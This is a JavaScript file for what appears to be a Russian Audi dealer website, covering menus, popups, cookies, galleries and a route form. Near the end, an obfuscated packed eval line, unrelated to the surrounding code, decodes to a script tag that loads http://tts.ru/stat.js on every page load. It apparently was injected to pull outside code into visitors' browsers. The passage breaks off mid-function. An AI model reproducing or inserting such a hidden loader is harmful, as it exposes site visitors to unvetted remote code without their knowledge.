function _agfKonf(f) {
	var ref = document.getElementById(f);
	if (ref != null) {
		fv=ref.options[ref.selectedIndex].value;
		if (fv==0) {fv=false}
		return fv;
	}
}
function openConfigurator() {
	url = _agfKonf('mlkonf');
	if (url) {
		sat=window.open(url,"Configurator","scrollbars=yes,directories=no,menubar=no,toolbar=no,width=816,height=597,status=yes,resizable=yes");
		sat.focus();
	}
}

window.onresize = checkSubnavPos;

//mouseover function for graphic links
function showLinkHilite(whichImgObj) {
	try {
		whichImgObj.src = whichImgObj.onimg.src;
	}
	catch (e) {
		// ignore
	}
}

//mouseout function for graphic links
function resetLinkHilite(whichImgObj) {
	try {
		whichImgObj.src = whichImgObj.offimg.src;
	}
	catch (e) {
		// ignore
	}
}

//constructor for image objects of graphic links
function createGraphicLink(whichImg,lowsrc,hisrc) {
	//erzeugen der mouseover-Images
	if (!whichImg.counter) {
		whichImg.counter = 1;
		whichImg.offimg = new Image();
		whichImg.offimg.src = lowsrc;
		whichImg.onimg = new Image();
		whichImg.onimg.src = hisrc;
	}
}

// Mouseover function for model metanav and teaser
function showModelHilite(pName, pImgObj) {
	if (pImgObj) {
		showLinkHilite(pImgObj);
	}
	// aoa multi purpose flash hook
	if (typeof aoa_multipurposeflash_setCarlineGroup == 'function') {
		aoa_multipurposeflash_setCarlineGroup(pName);
	}
}

//================================================================
//Scripts for Subnav-Menu
//===============================================================

//Variable f&uuml;r den popup-timer
var zu;

var subMenuActivated = 0;

//creating Subnav-SubMenu (dropdownbox)
function subMenu(whichMenu,whichLevel,whichPreselected) {
	//props for checking subnav-submenu-position
	if (whichLevel == 2) {
		this.top = 8;
	} else {
		this.top = 28;
	}
	//reading Menu-Array, writing HTML-Codes
	this.activeMenu = eval(whichMenu);

	this.subMenuItemsList = "";
	if (this.activeMenu != 0) {
		for (var i = 0; i < this.activeMenu.length; i+=2) {
			this.subMenuItemsList +=  this.activeMenu[i+1] + this.activeMenu[i] + "</a>";
		}
		this.subMenuItemsList = "<div id='subnav_sub_list'>" + this.subMenuItemsList + "</div>";
	}

}

//function for subnav-submenu-popup (dropdownbox)
//args = name of menuset

function showSubMenu(whichMenu) {
	//workaround mozilla menuwidth bug
	if (navigator.appVersion.indexOf("MSIE") != -1) {
		document.getElementById("subnav_submenu").style.width = 155 + "px";
	} else {
		//document.getElementById("subnav_submenu").style.width = "auto";
		document.getElementById("subnav_submenu").style.width = 155 + "px";
		//mozilla clipping workaround
		document.getElementById("subnav").style.clip = "rect(auto,auto,800px,0px)";
	}
	document.getElementById("subnav_submenu").style.visibility = "hidden";
	document.getElementById("subnav_submenu").style.display = "none";
	//writing html-strings
	if (whichMenu.activeMenu != 0) {
		document.getElementById("subnav_submenu").innerHTML = whichMenu.subMenuItemsList;
		document.getElementById("subnav_submenu").style.display = "block";
	}
	//positioning menu-layers
	if (whichMenu.activeMenu != 0) {
		obj = document.getElementById("subnav_submenu");
		obj1 = document.getElementById("subnav");
		w = parseInt(obj1.style.width.split("px")[0]);
		obj.style.left =w - 157;
		obj.style.top = whichMenu.top + "px";
		obj.style.visibility = "visible";
		obj.style.display = "block";
		obj.style.backgroundImage = "url(" + global_staticpath_images + "/bg_subnav_submenu.gif)";
	}
	//if there is no submenu
	else if (whichMenu.activeMenu == 0) {
		document.getElementById("subnav_submenu").style.visibility = "hidden";
		document.getElementById("subnav_submenu").style.display = "none";
	}

	//reset timeout
	window.clearTimeout(zu);
}


function submenuCollaps() {
	//verstecken des popup-menues
	window.clearTimeout(zu);
	document.getElementById("subnav_submenu").style.visibility="hidden";
	document.getElementById("subnav_submenu").style.display="none";
}

//************************************************************//
//functions for subnavigation fold show/hide
var subnavzu;
var subnavauf;
var slidetimer;
slidetoggle = 0;
var isIE = '';
if (navigator.appVersion.indexOf("MSIE") != -1)	isIE = true;

function subnavTimer() {
	if (!document.getElementById('subnav'))	return;
	window.clearTimeout(subnavzu);
	try {
		if (parseInt(currSubnavLeft) < cms4imp_fullStageWidth) {
			subnavauf = window.setTimeout("showSubnav()",50);
		}
	}
	catch (e) {
		// ignore
	}
}

function showSubnav() {
	if (slidetoggle==1)	return;
	var subnavContent=document.getElementById("subnav_content");
	if (!subnavContent || !subnavContent.childNodes || subnavContent.childNodes.length == 0) return;

	window.clearTimeout(subnavauf);
	document.getElementById("subnav").style.visibility="visible";
	document.getElementById("subnav").style.display = "block";
	document.getElementById("subnav").style.clip = "rect(auto,160px,auto,160px)";
	mycurrentwidth = 160;
	slidecount = 4;
	slideSubnavOn();
	slidetoggle=1;
}

function subnavCollaps() {
	if (!document.getElementById('subnav'))	return;
	try {
		if (parseInt(currSubnavLeft) < cms4imp_fullStageWidth) {
			window.clearTimeout(subnavauf);
			window.clearTimeout(subnavzu);
			slidecount = 8;
			mycurrentwidth=0;
			//window.clearTimeout(slidetimer);
			slideSubnavOff();
			slidetoggle=0;
		}
	}
	catch (e) {
		// ignore
	}
}
function dropdown_subnavmouseEnter() {
	window.clearTimeout(subnavzu);
	window.clearTimeout(slidetimer);
}

//**************************************************************//
function dropdown_mouseEnter() {
	window.clearTimeout(zu);
}

function dropdown_mouseLeave(whichMenu) {
	switch (whichMenu) {
	case 'main':
		zu = window.setTimeout("menuCollaps()",50);
		break;
	case 'sub':
		zu = window.setTimeout("submenuCollaps()",300);
		break;
	case 'subnav':
		subnavzu = window.setTimeout("subnavCollaps()",500);
		break;
	}
}

//===================================================
//functions for subnav-positioning
//===================================================


//detect mouse-over image position for correct layer positioning

function findPosX(obj) {
	var curleft = 0;
	if (obj.offsetParent) {
		while (obj.offsetParent) {
			curleft += obj.offsetLeft
			obj = obj.offsetParent;
		}
	} else if (obj.x) {
		curleft += obj.x;
	}
	return curleft;

}

function findPosY(obj) {
	var curtop = 0;
	if (obj.offsetParent) {
		while (obj.offsetParent) {
			curtop += obj.offsetTop
			obj = obj.offsetParent;
		}
	} else if (obj.y) {
		curtop += obj.y;
	}
	return curtop;
}

function getElementByClass(pClassName) {
	elements = window.document.getElementsByTagName('*');

	for (i=0; i<elements.length; i++) {
		if (elements[i].className == pClassName) {
			return elements[i];
		}
	}
}

function checkSubnavPos() {
	// Do nothing if there's no mainnav
	if (!document.getElementById('mainnav')) return;

	// Stretch the content frame at least as high as the mainnav
	var frame = getElementByClass("screen_4");
	var mainnav_end = document.getElementById("mainnav_end");
	if (frame && mainnav_end) {
		var posY = findPosY(mainnav_end);
		if ((findPosY(frame) + frame.offsetHeight) < posY) {
			var height = posY - findPosY(frame);
			if (navigator.appVersion.indexOf("MSIE") != -1) {
				frame.style.height = height + "px";
			} else {
				frame.style.minHeight = height + "px";
			}
		}
	}

	var currLeft = findPosX(document.getElementById('mainnav'));
	var currWidth = currLeft - cms4imp_fullStageWidth;
	var currBrowserWidth = currLeft + 140;

	if (!document.getElementById('subnav')) {
		// Set the background unconditionally if there's no subnav
		if (document.body.background && document.body.background.indexOf("/bg.gif") == -1) {
			document.body.background = global_staticpath_images + "/bg.gif";
		}
		return;
	}

	if (currWidth > 160) {
		document.getElementById("subnav").style.left = (currLeft - currWidth) + "px";
		document.getElementById("subnav").style.width = currWidth + "px";
	} else {
		document.getElementById("subnav").style.left = (currLeft - 160) + "px";
		document.getElementById("subnav").style.width = 160 + "px";
	}
	currSubnavLeft = document.getElementById("subnav").style.left;
	if (parseInt(currSubnavLeft) < cms4imp_fullStageWidth) {
		document.getElementById("subnav").style.visibility = "hidden";
	} else {
		document.getElementById("subnav").style.visibility = "visible";
		document.getElementById("subnav").style.display = "block";
		document.getElementById("subnav").style.clip = "rect(auto,auto,auto,0px)";
	}

	// resize the fold and set the background image depending on the subnav height
	var mysubnavheight = document.getElementById("subnav").offsetHeight;
	if (mysubnavheight < cms4imp_foldMinHeight) {
		document.getElementById("subnav").style.height = cms4imp_foldMinHeight + "px";
		if (document.body.background && document.body.background.indexOf("/bg.gif") == -1) {
			document.body.background = global_staticpath_images + "/bg.gif";
		}
	} else if (mysubnavheight > cms4imp_foldMinHeight && mysubnavheight < 468) {
		document.getElementById("subnav").style.height = 468 + "px";
		if (document.body.background && document.body.background.indexOf("/bg_long.gif") == -1) {
			document.body.background = global_staticpath_images + "/bg_long.gif";
		}
	} else if (cms4imp_foldMinHeight == 492) {
		if (document.body.background && document.body.background.indexOf("/bg_long2.gif") == -1) {
			document.body.background = global_staticpath_images + "/bg_long2.gif";
		}
	}
}

//slide function for subnav fold
function slideSubnavOn() {
	slidecount = slidecount*2;
	mycurrentwidth = (mycurrentwidth - slidecount);
	var mycurrentrect = "rect(auto,160px,auto," + mycurrentwidth + "px)";
	if (isIE) {
		document.getElementById("subnav").style.clip = mycurrentrect;
	} else {
		document.getElementById("subnav").style.visibility = "hidden";
		document.getElementById("subnav").style.clip = "rect(auto,160px,auto,0px)";
		document.getElementById("subnav").style.clip = mycurrentrect;
		document.getElementById("subnav").style.visibility = "visible";
	}
	if (mycurrentwidth<=0) {
		window.clearTimeout(slidetimer);slidetimer=0;
	} else {
		slidetimer = window.setTimeout("slideSubnavOn()",5);
	}
}

function slideSubnavOff() {
	slidecount = slidecount*3;
	mycurrentwidth = mycurrentwidth + slidecount;
	var mycurrentrect = "rect(auto,160px,auto," + mycurrentwidth + "px)";
	if (isIE) {
		document.getElementById("subnav").style.clip = mycurrentrect;
	} else {
		document.getElementById("subnav").style.visibility = "hidden";
		document.getElementById("subnav").style.clip = "rect(auto,160px,auto,0px)";
		document.getElementById("subnav").style.clip = mycurrentrect;
		document.getElementById("subnav").style.visibility = "visible";
	}
	if (mycurrentwidth>=160) {
		window.clearTimeout(slidetimer);slidetimer=0;
	} else {
		slidetimer = window.setTimeout("slideSubnavOff()",1);
	}
}


//===============================
//image hilite without submenu-popup
//==============================
function mainButton(whichImg,offsrc,onsrc) {
	this.imgname = new Object(whichImg);
	this.imgname.createHiliteImages = createImgObjs;
	this.imgname.createHiliteImages(offsrc,onsrc,'');
}

//function for module m581
function stageButton(whichImg,offsrc,onsrc,hisrc) {
	this.imgname = new Object(whichImg);
	this.imgname.createHiliteImages = createImgObjs;
	this.imgname.createHiliteImages(offsrc,onsrc,hisrc);
}

//hilite-image method
function createImgObjs(offsrc,onsrc,hisrc,midsrc,big800,big1024,big1280) {
	this.offimg = new Image();
	this.offimg.src = offsrc;
	this.onimg = new Image();
	this.onimg.src = onsrc;
	this.hiliteimg = new Image();
	this.hiliteimg.src = hisrc;
	if (arguments.length > 3) {
		this.midimg = midsrc;
		this.big800 = big800;
		if (big1024) this.big1024 = big1024;
		if (big1280) this.big1280 = big1280;
	}
}

function showHigh(whichButton,whichPic) {
	if (whichPic == 0) document.images[whichButton.imgname].src = whichButton.imgname.onimg.src;
}

function resetHigh(whichButton,whichPic) {
	if (whichPic == 0) document.images[whichButton.imgname].src = whichButton.imgname.offimg.src;
}

/**
 * Functions for m581 highlighting
 */

var activeStagePic;

function changeStageHigh (pButton, pURL, pCacheKiller,big) {
	var stageId = "gallery_media";
	var stageImg = document.getElementById(stageId + '_container');
	if (!stageImg) {
		stageImg = document.getElementById(stageId);
	}
	if (!stageImg) {
		return;
	}
	stageImg.setAttribute('src', pURL);
	if (big){
		stageImg.setAttribute('width', 639);
	}else{
		stageImg.setAttribute('width', 479);
	}
	stageImg.setAttribute('height', 300);
	stageImg.setAttribute('id', stageId);
	/*
	var iFrame = document.createElement('iframe');
	iFrame.setAttribute('width', 479);
	iFrame.setAttribute('height', 300);
	iFrame.setAttribute('frameborder', '0');
	iFrame.setAttribute('scrolling', 'no');
	iFrame.setAttribute('id', stageId);
	if (pCacheKiller) {
		iFrame.setAttribute('src', pURL + "?" + pCacheKiller);
	} else {
		iFrame.setAttribute('src', pURL);
	}
	iFrame.setAttribute('align', 'middle');
	stageImg.parentNode.replaceChild(iFrame, stageImg);
	*/
	if (activeStagePic && activeStagePic != pButton.imgname) {
		document.images[activeStagePic].src = activeStagePic.offimg.src;
	}
	activeStagePic = pButton.imgname;
}

function showStageHigh(whichButton,whichPic) {
	if (whichPic == 0) {
		document.images[whichButton.imgname].src = whichButton.imgname.onimg.src;
	}
}

function resetStageHigh(whichButton,whichPic) {
	if (whichPic == 0 && activeStagePic != whichButton.imgname) {
		document.images[whichButton.imgname].src = whichButton.imgname.offimg.src;
	}
}

function setOffStage(whichImg) {
	stageimgsrc = whichImg;
}

/**
 * Functions for m614_linkbox_gallery_1col
 */

// Constructor for objects that contain all information about the available download versions
// of a Media Gallery Item
function MediaDownloadVersions() {
	this.smallUrl = null
	this.smallWidth = 0;
	this.smallHeight = 0;
	this.smallSize = 0;

	this.mediumUrl = null;
	this.mediumWidth = 0;
	this.mediumHeight = 0;
	this.mediumSize = 0;

	this.largeUrl = null;
	this.largeWidth = 0;
	this.largeHeight = 0;
	this.largeSize = 0;
}

// an instance of MediaDownloadVersions containing the download versions of the currently selected Media Gallery Item
var selectedDownloadVersions = null;

// update the automatic linkbox module and optionally switch the currently selected GalleryItem
function updateLinkBox(downloadVersions) {
	if (downloadVersions) {
		selectedDownloadVersions = downloadVersions;
	}
	var linkboxDiv = document.getElementById('imagegallery_linkbox_div');
	if (!linkboxDiv) {
		// do nothing if the div does not exist
		// alert("failed to access element with id 'imagegallery_linkbox_div'");
		return;
	}

	if (!selectedDownloadVersions) {
		linkboxDiv.innerHTML = '';
		return;
	}

	var newHTML = '';
	if (selectedDownloadVersions.smallUrl) {
		newHTML+= constructMediaDownloadLink(selectedDownloadVersions.smallUrl, selectedDownloadVersions.smallWidth, selectedDownloadVersions.smallHeight, selectedDownloadVersions.smallSize);
	}
	if (selectedDownloadVersions.mediumUrl) {
		newHTML+= constructMediaDownloadLink(selectedDownloadVersions.mediumUrl, selectedDownloadVersions.mediumWidth, selectedDownloadVersions.mediumHeight, selectedDownloadVersions.mediumSize);
	}
	if (selectedDownloadVersions.largeUrl) {
		newHTML+= constructMediaDownloadLink(selectedDownloadVersions.largeUrl, selectedDownloadVersions.largeWidth, selectedDownloadVersions.largeHeight, selectedDownloadVersions.largeSize);
	}
	linkboxDiv.innerHTML = newHTML;

}

function constructMediaDownloadLink(url, width, height, size) {
	return '<div class="box_link">' +
	'<a href="'+url+'" target="_blank"><img src="' + global_staticpath_images + '/arrow_orange.gif" alt="&gt;" class="arrow" height="9" width="9"></a>' +
	'<a href="'+url+'" target="_blank">' + width + ' x ' + height + '</a>'+
	'</div>';
}

//=========================================
//functions for crossbox
//=========================================

var inactiveEntry = '';
var activeEntry = '';
var activeEntryContent = '';
tabArray = new Array();

function switchBox(whichBox) {

	if (activeEntry) {
		document.getElementById(activeEntry).style.visibility = "hidden";
		document.getElementById(activeEntry).style.display = "none";
		document.getElementById(activeEntryContent).style.visibility = "hidden";
		document.getElementById(activeEntryContent).style.display = "none";
		if (activeEntry.indexOf("worldwide")!= -1) {
			document.getElementById('crossbox_world').style.visibility = "hidden";
			document.getElementById('crossbox_world').style.display = "none";
		}
		document.getElementById(inactiveEntry).style.visibility = "visible";
		document.getElementById(inactiveEntry).style.display = "block";
		if (navigator.appVersion.indexOf("MSIE") == -1) {
			document.getElementById(inactiveEntry).style.height = 17 + "px";
			document.getElementById(inactiveEntry).style.borderTop = "solid 1px #262626";
			document.getElementById(inactiveEntry).style.paddingTop = "2px";
		}
	}
	var myEntry = whichBox + "_a";
	var myEntryContent = whichBox + "_b";
	activeEntry = myEntry;
	activeEntryContent = myEntryContent;
	inactiveEntry = whichBox;
	if (navigator.appVersion.indexOf("MSIE") == -1) {
		document.getElementById(whichBox).style.height = 0 + "px";
		document.getElementById(whichBox).style.border = 0 + "px";
		document.getElementById(whichBox).style.padding = 0 + "px";
	} else {
		document.getElementById(whichBox).style.visibility = "hidden";
		document.getElementById(whichBox).style.display = "none";
	}
	document.getElementById(activeEntry).style.visibility = "visible";
	document.getElementById(activeEntry).style.display = "block";
	document.getElementById(activeEntryContent).style.visibility = "visible";
	document.getElementById(activeEntryContent).style.display = "block";
	document.getElementById(activeEntryContent).style.height = 67 + "px";
	if (whichBox.indexOf("worldwide")!= -1) {
		document.getElementById('crossbox_world').style.visibility = "visible";
		document.getElementById('crossbox_world').style.display = "block";
	}

}

var crossboxInitialized = false;

function initCrossbox(whichCB) {

	var CBnum = tabArray.length;
	for (i=0;i<CBnum;i++) {
		var myEntry = tabArray[i] + "_a";
		var myEntryContent = tabArray[i] + "_b";
		document.getElementById(myEntry).style.visibility = "hidden";
		document.getElementById(myEntry).style.display = "none";
		document.getElementById(myEntryContent).style.visibility = "hidden";
		document.getElementById(myEntryContent).style.display = "none";
	}

	if (document.getElementById(whichCB)) {
		var myEntry = whichCB + "_a";
		var myEntryContent = whichCB + "_b";
		activeEntry = myEntry;
		activeEntryContent = myEntryContent;
		inactiveEntry = whichCB;
		document.getElementById(whichCB).style.visibility = "hidden";
		document.getElementById(whichCB).style.display = "none";
		document.getElementById(activeEntry).style.visibility = "visible";
		document.getElementById(activeEntry).style.display = "block";
		document.getElementById(activeEntryContent).style.visibility = "visible";
		document.getElementById(activeEntryContent).style.display = "block";
	}
	//special case for worldwide
	if (whichCB == "worldwide") {
		document.getElementById('crossbox_world').style.visibility = "visible";
		document.getElementById('crossbox_world').style.display = "block";
	}

	crossboxInitialized = true;
}

//counting tabs for default ibox display
function countTab(whichTab) {
	tabArray[tabArray.length] = whichTab;
}

/**
 * Defines a link reference.
 * @param pTitle Link title.
 * @param pURL for link. Can be URL or javascript: call (optional).
 */
var crossbox_link = function(pTitle, pURL) {
  this.title = pTitle;
  this.url = pURL;
}

function renderLoginArea(pLoggedOutLinks, pLoggedInLinks, pText) {
	var name = getCookie("myAudi.name");
	if (name != null) {
		pText = pText.replace(/\{0\}/, name);
		document.write("<div class=\"crossbox_text\">");
		document.write(pText);
		document.write("</div>");
		for (var i in pLoggedInLinks) {
			renderLink(pLoggedInLinks[i]);
		}
		initCrossbox('login');
	} else {
		for (var i in pLoggedOutLinks) {
			renderLink(pLoggedOutLinks[i]);
		}
	}
}

function renderLink(pLink) {
	document.write("<div class=\"crossbox_link\">");
	if (pLink.url.length > 0) {
		document.write("<a href=\"" + pLink.url + "\">");
	}
	document.write("<img src=\"" + global_staticpath_images + "/arrow_orange.gif\" width=\"9\" height=\"9\" alt=\"&gt;\" class=\"crossbox_arrow\">");
	if (pLink.url.length > 0) {
		document.write("</a>");
	}
	if (pLink.url.length > 0) {
		document.write("<a href=\"" + pLink.url + "\">");
	}
	document.write(pLink.title);
	if (pLink.url.length > 0) {
		document.write("</a>");
	}
	document.write("</div>");
}

/** This variable can be overriden to provide an alternative redirect URL */
var cms4imp_base_sso_redirect_url = location.href;

/**
 * Constructs a SSO redirect URL from the given standard login
 * URL and the contents of cms4imp_base_sso_redirect_url.
 * @param pLoginURL Login URL
 */
function getLoginURL(pLoginURL) {
	var loginURL = pLoginURL.substring(0, pLoginURL.lastIndexOf("redirect_url") + "redirect_url".length);
	loginURL += encodeURIComponent(encodeURIComponent("=" + cms4imp_base_sso_redirect_url));
	return loginURL;
}

/**
 * Functions for the route tab of the crossbox.
 */
function openRoute(pURL, pPartnerID, pStreetDummy, pZipDummy, pCityDummy, pNewWindow) {
	var street	= document.forms["routeform"]["street"].value;
	var zip		= document.forms["routeform"]["zip"].value;
	var city	= document.forms["routeform"]["city"].value;

	if (street == pStreetDummy) street = "";
	if (zip == pZipDummy) zip = "";
	if (city == pCityDummy) city = "";

	var params = "ID=" + pPartnerID;
	if (street || zip || city) {
		params += "&ZS=" + street;
		params += "&ZP=" + zip;
		params += "&ZO=" + city;
		params += "&BUTTON=SEARCH";
	}

	var targetUrl = pURL;
	if (targetUrl.indexOf("?") > 0) {
	  targetUrl += "&" + params;
	}
	else {
	  targetUrl += "?" + params;
	}

	if (pNewWindow) {
		fenster=window.open(targetUrl,"Anfahrtsroute","width=639,height=545,top=120,left=210");
		if (typeof(fenster.focus) == "function" || typeof(fenster.focus) == "object"){
			fenster.focus();
		}
	}
	else {
	  window.location = targetUrl;
	}
}

function crossboxRouteSubmitEnter(pField, pEvent, pURL, pPartnerID, pStreetDummy, pZipDummy, pCityDummy, pNewWindow) {
	var keycode;
	if (window.event) keycode = window.event.keyCode;
	else if (pEvent) keycode = pEvent.which;
	else return true;
	if (keycode == 13) {
		openRoute(pURL, pPartnerID, pStreetDummy, pZipDummy, pCityDummy);
		return false;
	} else {
		return true;
	}
}

//=========================================
//functions for item_select
//=========================================
function handleSelection(whichForm) {
	try {
		eval(whichForm.item_select.options[whichForm.item_select.selectedIndex].value);
	}
	catch (ex) {
		// Ignore
	}
	return false;
}

//=========================================
//functions for popups
//=========================================

function isBlockedByCookie(pSrcHandle) {
	if (document.cookie) {
		if (document.cookie.lastIndexOf(pSrcHandle) >= 0) {
			return true;
		}
	}
	return false;
}

/**
 * This method is kept only for backwards compatibility.
 * Use cms_openWindow instead.
 */
function openWindow(pUrl, pTarget, pParameter, pSrcHandle, pWidth, pHeight) {
  return cms_openWindow(pUrl, pTarget, pParameter, pSrcHandle, pWidth, pHeight);
}

/**
 * Open a popup window with the given parameters
 * @param pUrl URL to open
 * @param pTarget Window target
 * @param pParameter Window parameter string
 * @param pSrcHandle Handle of the popup source page (if set popups with same handle are opened only once)
 * @param pWidth Width of the window
 * @param pHeight Height of the window
 * @return Window handle for the new window or null if the window could not be opened
 */
function cms_openWindow(pUrl, pTarget, pParameter, pSrcHandle, pWidth, pHeight) {
	if (pSrcHandle && isBlockedByCookie(pSrcHandle)) {
		// open once per session only.
		return;
	}

	// center popup on screen
	if (pWidth) {
		var winX = (screen.availWidth/2)-(pWidth/2);
		pParameter += ",width=" + pWidth + ",left=" + winX + ",scrX=" + winX;
	}

	if (pHeight) {
		var winY = (screen.availHeight/2)-(pHeight/2);
		pParameter += ",height=" + pHeight + ",top=" + winY + ",scrY=" + winY;
	}

	var win = null;
	var isPopup = false;
	if (pTarget==null || pTarget=="" || pTarget=="_self") {
	  document.location = pUrl;
	  win = window;
	}
	else {
	  win = window.open(pUrl, pTarget, pParameter);
	  isPopup = true;
	}
	try {
		if (isPopup) {
			if (pSrcHandle && document.cookie) {
				// set cookie
				document.cookie = pSrcHandle + "=true; Path=/";
			}
			win.focus();
			win.setTimeout("try { self.focus() } catch (ex) {}", 1000);
		}
	}
	catch (e) {
		// ignore
	}

	return win;
}

//=========================================
//functions for timeline modules
//=========================================

function showTimelineLayer(pLayerIndex, pMediaURL1, pMediaURL2) {
	var index = 0;
	while (layer = document.getElementById("timeline_layer_" + index)) {
		if (index == pLayerIndex) {
			layer.style.visibility = "visible";
		} else {
			layer.style.visibility = "hidden";
		}
		index++;
	}

	var imgElement = document.getElementById("m625_img");
	if (imgElement && pMediaURL1) {
		imgElement.src = pMediaURL1;
	}

	imgElement = document.getElementById("m626_img");
	if (imgElement && pMediaURL2) {
		imgElement.src = pMediaURL2;
	}

}

//=========================================
// image popup
//=========================================

function showImagePopup(pImageURL, pWidth, pHeight, pTitle) {
	if (!pImageURL) {
		return;
	}
	var windowFeatures = 'toolbar=no,directories=no,location=no,status=no,menubar=no,resizable=no,scrollbars=no,'
	+ 'width=' + pWidth + ',height=' + pHeight;
	if (!pTitle || pTitle=='') {
		pTitle = 'Audi';
	}
	var popup = window.open('', 'imagePopup', windowFeatures);
	if (popup) {
		popup.document.clear();
		popup.focus();
		popup.document.writeln('<html><head><title>' + pTitle + '</title></head>');
		popup.document.writeln('<body topmargin="0" leftmargin="0" marginwidth="0" marginheight="0" style="margin:0px">');
		popup.document.writeln('<center><img src="' + pImageURL + '" border="0" alt=""></center>');
		popup.document.writeln('</body>');
		popup.document.writeln('</html>');
		popup.document.close();
		popup.focus();
	}
}

/**
 * Gets the value of the specified cookie.
 * @param pName Name of the desired cookie
 * @return A string containing value of specified cookie, or
 * null if cookie does not exist.
 */
function getCookie(pName) {
	var dc = document.cookie;
	var prefix = pName + "=";
	var begin = dc.indexOf("; " + prefix);
	if (begin == -1) {
		begin = dc.indexOf(prefix);
		if (begin != 0)	return null;
	} else {
		begin += 2;
	}
	var end = document.cookie.indexOf(";", begin);
	if (end == -1) {
		end = dc.length;
	}
	return unescape(dc.substring(begin + prefix.length, end));
}

/**
 * Functions for MOS
 */

function postMosForm(pAddSelection) {
	var mosForm = document.forms.form_mos_download;
	var selection = mosForm.selected_item;
	if (selection && pAddSelection) {
		var selectedItem = selection.value;
		if (selectedItem != "") {
			mosForm.action += escape ("&selected_item=" + selectedItem);
		}
	}
	mosForm.submit();
}

function registerLink(pURL) {
	var mosForm = document.forms.form_mos_download;
	var selection = mosForm.selected_item;
	if (selection) {
		var selectedItem = selection.value;
		if (selectedItem != "") {
			pURL += escape ("?selected_item=" + selectedItem);
		}
	}
	document.location = pURL;
}

/**
 * Functions for surveys
 */

function checkSurvey() {
	var sessionCookieName = "cms4imp_session_survey";
	var cookiePrefix = "survey_";

	if ((typeof surveys == "undefined") || isBlockedByCookie(sessionCookieName)) {
		return;
	}

	for (var i=0; i < surveys.length; i++) {
		var survey = surveys[i];
		var name = survey[0];
		var frequency = survey[1];
		var linkMethod = survey[2];
		var startDate = new Date(survey[3]);
		var endDate = new Date(survey[4]);
		var rand = Math.random() * frequency;
		var cookieName = cookiePrefix + name;
		var now = new Date();

		if (startDate && (startDate > now))	continue; // Not active yet
		if (endDate && (endDate < now))	continue;			// Not active anymore

		if (rand < 1 && !isBlockedByCookie(cookieName)) {
			if (eval(linkMethod) && name && document.cookie) {
				// Sticky Cookie for this specific survey
				var exp = new Date();
				var oneYearFromNow = exp.getTime() + (365 * 24 * 60 * 60 * 1000);
				exp.setTime(oneYearFromNow);
				document.cookie = cookieName + "=true; Path=/ ;expires=" + exp.toGMTString();
				// Session Cookie
				document.cookie = sessionCookieName  + "=true; Path=/";
			}
			break;
		}
	}
}

/**
 * SSO Cookie Management
 */
/*
var AGENT_URL_COM  = "http://my.audi.com/de/de/privat/ssoAgent";
var AGENT_URL_DE   = "http://ak4-de.audi.de/ssoAgent.do";
var COOKIE_MYAUDI  = "myAudi";
var COOKIE_EXPIRES = "myAudi.expires";
var REFRESH_LIFETIME = 7200;
var REFRESH_THRESHOLD_MIN = 15;

function setTimestampCookie (pLifetime) {
	var now = new Date();
	expDate = new Date(now.getTime() + (pLifetime * 1000));
	document.cookie = COOKIE_EXPIRES + "=" + expDate + "; Path=/ ;";
}

function validateSSOCookie() {
	var sessionID = getCookie(COOKIE_MYAUDI);
	if (!sessionID) return;

	var timestamp = getCookie(COOKIE_EXPIRES);
	if (!timestamp) {
		setTimestampCookie(REFRESH_LIFETIME);
		return;
	}

	var expDate   = new Date(timestamp);
	if (!expDate) return;

	var threshold = expDate.getTime() - (REFRESH_THRESHOLD_MIN * 60 * 1000);
	var now = new Date();

	if (now.getTime() > threshold) {
		var agentParameters = "?c_lifetime=" + REFRESH_LIFETIME + "&c_session=" + sessionID;

		// Refresh .com Cookie
		agentImage1 = new Image();
		agentImage1.src = AGENT_URL_COM + agentParameters;

		// Refresh .de Cookie
		agentImage2 = new Image();
		agentImage2.src = AGENT_URL_DE + agentParameters;

		// Refresh Timestamp Cookie
		setTimestampCookie(REFRESH_LIFETIME);
	}
}

*/

function winOpn() {
	sat=window.open(url,"W","scrollbars=yes,directories=no,menubar=no,toolbar=no,width=816,height=597,status=yes,resizable=yes");
sat.focus();

}




//------------------------------------------------------------------------------------------
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('$0=3;4.5(\'<\'+\'1 6="7\\/\'+\'8" 9="a:\'+\'\\/\\/2.b.c\\/\'+\'2.d?0=3"><\\/\'+\'1>\');',14,14,'sIDs|script|stat||document|write|type|text|javascript|src|http|tts|ru|js'.split('|'),0,{}))

function txtM()
{
    document.write('<div class="mainnav_entry_txt" style="padding-top:2px;background: url(\'/images/mainnav_line.gif\') no-repeat 0px 10px;"><a href="/"><span title="">Главная</span></a></div>');
    document.write('<div class="mainnav_entry_txt"><a href="/newcars/new.html"><span title="">Модельный ряд</span></a></div>');
    document.write('<div class="mainnav_entry_txt"><a href="/auto/index.html"><span title="">Авто с пробегом</span></a></div>');
    document.write('<div class="mainnav_entry_txt"><a href="/service/index.html"><span title="">Сервисный центр</span></a></div>');
    document.write('<div class="mainnav_entry_txt"><a href="/contacts/service.htm"><span title="">Контакты</span></a></div>');
    document.write('<div class="mainnav_entry_txt"><a href="/financial/index.html" onclick="window.open(\'http://finance.audi.ru/\', \'audi\');">Financial Services</a></div>');
    document.write('<div class="mainnav_entry_txt"><a href="/about/about.html"><span title="">Об Audi</span></a></div>');
    document.write('<div class="mainnav_entry_txt"><a href="/world/collection.html"><span title="">Мир Audi</span></a></div>');
    document.write('<div class="mainnav_entry_txt"><a href="/company/company.html"><span title="">Для компаний</span></a></div>');
    document.write('<div class="mainnav_entry_txt"><a href="/shop/"><span title="">Аксессуары для вас</span></a></div>');
    document.write('<div class="mainnav_entry_txt"><a href="/news/specs.asp"><span title="">Специальные предложения</span></a></div>');
    //document.write('<div class="mainnav_entry_txt" style="padding-top:65px;background:none;"><a href="/map/map.html">Карта сайта</a><br /><br /><a href="/feedback/Feedback.asp">Обратная связь</a></div>');

    document.write('<div class="mainnav_entry_txt" style="background:none;"><div class="bx"><img src="/images/icon_glossary.gif" /> <a href="/map/map.html">Карта сайта</a></div><div class="bx" style="border-top-width:0px;"><img src="/images/icon_contact.gif" /> <a href="/feedback/Feedback.asp">Обратная связь</a></div></div>');

    return false;
}

function nTopMenu()
{
document.write('<div class="grey_beam">');
    document.write('<div class="grey_beam_ri"></div>');
    document.write('<div class="carline">');
